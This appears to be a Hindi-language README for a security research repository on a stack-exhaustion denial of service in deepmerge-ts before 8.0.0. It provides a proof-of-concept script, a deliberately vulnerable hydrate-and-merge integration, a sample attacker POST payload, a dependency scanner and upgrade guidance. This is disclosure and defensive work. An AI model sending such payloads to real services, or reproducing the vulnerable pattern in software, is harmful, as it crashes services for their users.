
deepmerge-ts के 8.0.0 से पहले के संस्करणों में स्टैक-समाप्ति सेवा-अस्वीकार (stack-exhaustion denial-of-service) को पुनरुत्पादित करता है, शोषण का दस्तावेजीकरण करता है, और कमजोर निर्भरता रेंज के लिए एक स्कैनर शामिल करता है।
मैंने 8.0.0 से पहले के deepmerge-ts संस्करणों में एक स्टैक समाप्ति बग का पुनरुत्पादन किया।
दिलचस्प बात यह है कि क्रैश के लिए किसी विशाल नेस्टेड ऑब्जेक्ट की आवश्यकता नहीं होती। यह ऑब्जेक्ट पहचान से उत्पन्न होता है। यदि मर्ज किए जा रहे दोनों मान एक ही प्रॉपर्टी के माध्यम से स्वयं को इंगित करते हैं, तो मर्ज रूटीन उसी जोड़ी को बार-बार विज़िट करता रहता है जब तक कि Node.js की स्टैक स्पेस समाप्त नहीं हो जाती।
परामर्श: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 गंभीरता: उच्च प्रभाव: उपलब्धता
अधिकांश मर्ज परीक्षण सामान्य JSON-आकार का डेटा उपयोग करते हैं:
{
user: {
name: "alice"
}
}
वह डेटा अचक्रीय होता है। JavaScript ऑब्जेक्ट स्वयं के या उसी ग्राफ में स्थित किसी अन्य ऑब्जेक्ट के संदर्भ भी रख सकते हैं। यदि टेस्ट सूट केवल JSON फिक्स्चर का उपयोग करता है, तो ऐसे मामलों को नज़रअंदाज़ करना आसान होता है।
सबसे छोटा विफल होने वाला ग्राफ दो अलग-अलग ऑब्जेक्ट हैं, जिनमें समान स्व-संदर्भ होता है:
const left = {};
left.self = left;
const right = {};
right.self = right;
रिकॉर्ड मर्जिंग गणनीय कुंजियों पर चलती है, प्रत्येक कुंजी के मान एकत्र करती है, और उन मानों के लिए मर्ज रूटीन को फिर से कॉल करती है। प्रभावित रिलीज़ में कोई साइकिल जाँच नहीं होती और न ही पहले देखे गए ऑब्जेक्ट जोड़े पर कोई ट्रैकिंग होती है।
self कुंजी निष्पादन को उसी स्थिति में वापस भेज देती है:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
यही व्यवहार deepmergeInto, deepmergeCustom और deepmergeIntoCustom के माध्यम से भी प्राप्त किया जा सकता है, जब उन्हें उसी प्रकार का ग्राफ मिलता है।
package.json में पैकेज प्रभावित 7.1.6 रिलीज़ पर पिन किया गया है।
npm install
npm run poc
पूरा परीक्षण poc.mjs में है। यह दोनों सार्वजनिक APIs को स्थानीय रूप से चलाता है और अपेक्षित RangeError को पकड़ता है, ताकि परिणाम पढ़ने में आसान हो।
PoC का महत्वपूर्ण भाग यह है:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
अपेक्षित आउटपुट:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
प्रभावित व्यवहार देखे जाने पर PoC सफलता लौटाता है। यदि पैकेज अपग्रेड किया जाता है और दोनों कॉल पूरी हो जाती हैं, तो यह साफ-सुथरा परिणाम प्रिंट करता है और स्थिति 1 के साथ बाहर निकलता है, क्योंकि समस्या पुनरुत्पादित नहीं हुई।
कोई जादुई चक्रीय JSON पेलोड नहीं है। एक सामान्य JSON पार्सर अचक्रीय ग्राफ बनाता है, इसलिए यह केवल एक बहुत गहरा JSON बॉडी भेजने से ट्रिगर नहीं होता:
deepmerge(defaults, req.body);
एप्लिकेशन को मर्ज फ़ंक्शन को कॉल करने से पहले साइकिल बनानी या संरक्षित करनी होती है। यह ग्राफ हाइड्रेशन कोड, संदर्भ-संरक्षण करने वाले डिसीरियलाइज़र, कैश या सत्र ऑब्जेक्ट के पुन: उपयोग, या रिकॉर्ड्स को आपस में जोड़ने वाले कस्टम लॉजिक में हो सकता है।
यहाँ एक कमजोर इंटीग्रेशन का छोटा सा उदाहरण है। hydrate फ़ंक्शन उपयोगकर्ता-नियंत्रित फ्लैग को स्व-संदर्भ में बदल देता है:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
यदि कोई HTTP रूट mergeRequest को कॉल करता है, तो हमलावर यह भेज सकता है:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
अब दोनों पक्षों में self संदर्भ होता है। जब रूट deepmerge(left, right) को कॉल करता है, तो लाइब्रेरी left.self और right.self का अनुसरण करती है, उसे फिर से वही जोड़ी प्राप्त होती है, और V8 के त्रुटि फेंकने तक रिकर्स करती रहती है।
किसी एप्लिकेशन के लिए इसी hydrate फ़ंक्शन का उपयोग करना आवश्यक नहीं है। महत्वपूर्ण शर्तें ये हैं:
यदि रूट सार्वजनिक है और अपवाद को पकड़ा नहीं गया है, तो एक अकेला अनुरोध Node.js वर्कर को रोक सकता है। यदि कोई प्रोसेस सुपरवाइज़र इसे स्वचालित रूप से पुनरारंभ करता है, तो बार-बार भेजे गए अनुरोध सेवा को पुनरारंभ लूप में रख सकते हैं। यदि प्रमाणीकरण आवश्यक है, तो हमलावर को उस रूट तक पहुँच की आवश्यकता होगी।
यह एक डिनायल ऑफ सर्विस समस्या है। यह बग कोड निष्पादन, फ़ाइल एक्सेस, या किसी अन्य अनुरोध से मर्ज इनपुट पढ़ने का कोई तरीका प्रदान नहीं करता।
वास्तविक एप्लिकेशन का आकलन करते समय यह अंतर मायने रखता है। निम्नलिखित अनुरोध बॉडी स्वयं कोई साइकिल नहीं है:
{
"self": true
}
यह तभी प्रासंगिक होता है जब एप्लिकेशन कोड self: true को रूट ऑब्जेक्ट के संदर्भ के रूप में व्याख्या करता है, या यदि कोई अन्य पार्सर ऑब्जेक्ट संदर्भों को पुनर्स्थापित करता है। पैकेज को परिणामी ग्राफ को फिर भी सुरक्षित रूप से संभालना चाहिए, लेकिन दूरस्थ शोषण क्षमता पैकेज के आस-पास के कोड पर निर्भर करती है।
प्रत्यक्ष प्रभाव सिंक्रोनस स्टैक समाप्ति के माध्यम से उपलब्धता है।
आस-पास के एप्लिकेशन के आधार पर, परिणाम ये हो सकते हैं:
RangeError के साथ विफल होनाइस समस्या में अपने आप में कोई गोपनीयता या अखंडता प्रभाव नहीं है। गंभीरता तब बढ़ जाती है जब मर्ज रूट अप्रमाणित हो, सार्वजनिक इंटरनेट से पहुँच योग्य हो, या किसी अन्य सेवा द्वारा स्वचालित रूप से पुनः प्रयास किया जाता हो।
क्रैश PoC चलाने से पहले प्रभावित डिपेंडेंसी संदर्भों को खोजने के लिए मैंने scanner.mjs जोड़ा है। यह जाँचता है:
package.json डिपेंडेंसी रेंजpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlइसे किसी प्रोजेक्ट निर्देशिका पर चलाएँ:
node scanner.mjs /path/to/project
CI या अन्य टूलिंग के लिए, JSON आउटपुट का उपयोग करें:
node scanner.mjs /path/to/project --json
इस रिपॉजिटरी के लिए उदाहरण परिणाम:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
स्कैनर प्रभावित संस्करण या रेंज मिलने पर स्थिति 1 के साथ बाहर निकलता है। Git URLs और अन्य गैर-semver स्रोतों को चुपचाप सुरक्षित मानने के बजाय REVIEW के रूप में चिह्नित किया जाता है।
प्रत्यक्ष समाधान deepmerge-ts >= 8.0.0 पर अपग्रेड करना और लॉकफ़ाइल को रीफ्रेश करना है।
npm install deepmerge-ts@^8.0.0
एप्लिकेशन को यह भी तय करना चाहिए कि पुनरावर्ती इनपुट को कैसे संभाला जाए। उचित विकल्प ये हैं:
प्रोसेस स्थिरता के लिए त्रुटि को पकड़ना उपयोगी है, लेकिन यदि हमलावर अनुरोध को दोहरा सकता है, तो यह अंतर्निहित डिनायल ऑफ सर्विस को समाप्त नहीं करता। डिपेंडेंसी को अपग्रेड करना और पुनरावर्ती इनपुट को संभालना ही महत्वपूर्ण समाधान हैं।
डिपेंडेंसी को 8.0.1 में बदलें, पुनः इंस्टॉल करें, और वही PoC चलाएँ:
npm install [email protected]
npm run poc
पैच किए गए रिलीज़ पर दोनों कॉल पूरी हो जाती हैं और स्क्रिप्ट यह प्रिंट करती है:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
इस रिपॉजिटरी में मौजूद PoC और स्कैनर MIT लाइसेंस के अंतर्गत जारी किए गए हैं।